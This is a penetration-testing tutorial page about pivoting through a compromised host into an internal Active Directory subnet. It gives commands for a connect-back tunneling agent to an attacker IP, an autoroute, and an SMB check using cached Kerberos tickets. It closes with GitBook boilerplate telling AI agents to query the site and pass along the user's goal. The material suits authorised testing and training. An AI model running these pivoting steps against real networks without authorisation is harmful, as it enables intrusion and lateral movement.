> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/06.-network-pivoting.md).

# 06. Network Pivoting

**The problem:** your attacking machine usually only has direct network access to the *first* box you compromise. If that box has a second network interface into an otherwise-unreachable subnet (very common for DCs bridging two domains), you need a way to route your traffic through it.

## The Concept — a SOCKS/VPN-Style Pivot

You run a proxy component on your attacking machine and an agent on the compromised host. The agent forwards traffic between the internal network and your proxy, so tools on your Kali box can reach IPs they'd otherwise have no route to — as if you had a network cable plugged into that internal subnet.

## Worked Example (Generic Tunneling Agent)

```bash
# On the attacker machine — start the proxy/listener
./proxy -listen 0.0.0.0:11601 -selfcert

# On the compromised host, via an existing shell — connect back
.\agent.exe -connect <attacker-ip>:11601 -ignore-cert
```

Once connected, you typically add a route so the internal subnet (discovered from the compromised host's own network config) becomes reachable from your attacking machine:

```
# inside the tunneling tool's console
session
autoroute   # e.g. add route to 192.168.2.0/24 via this agent
```

```bash
# now this "just works" from Kali directly, no proxychains needed
nxc smb 192.168.2.2 -k --use-kcache
```

## Practical Nuance

Don't tunnel traffic that's already directly reachable. If a second DC also happens to have a public IP, routing requests to it through your pivot unnecessarily can introduce timeouts or break Kerberos hostname expectations. Use the pivot only for what's actually behind it.

## Discovering the Internal Network in the First Place

```
# from a shell on the compromised host, look for a second interface
vEthernet (Switch01): 192.168.2.1, DNS -> 192.168.2.2
```

A second NIC on a private range like this is usually the tell that a second domain/DC sits behind it.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/06.-network-pivoting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
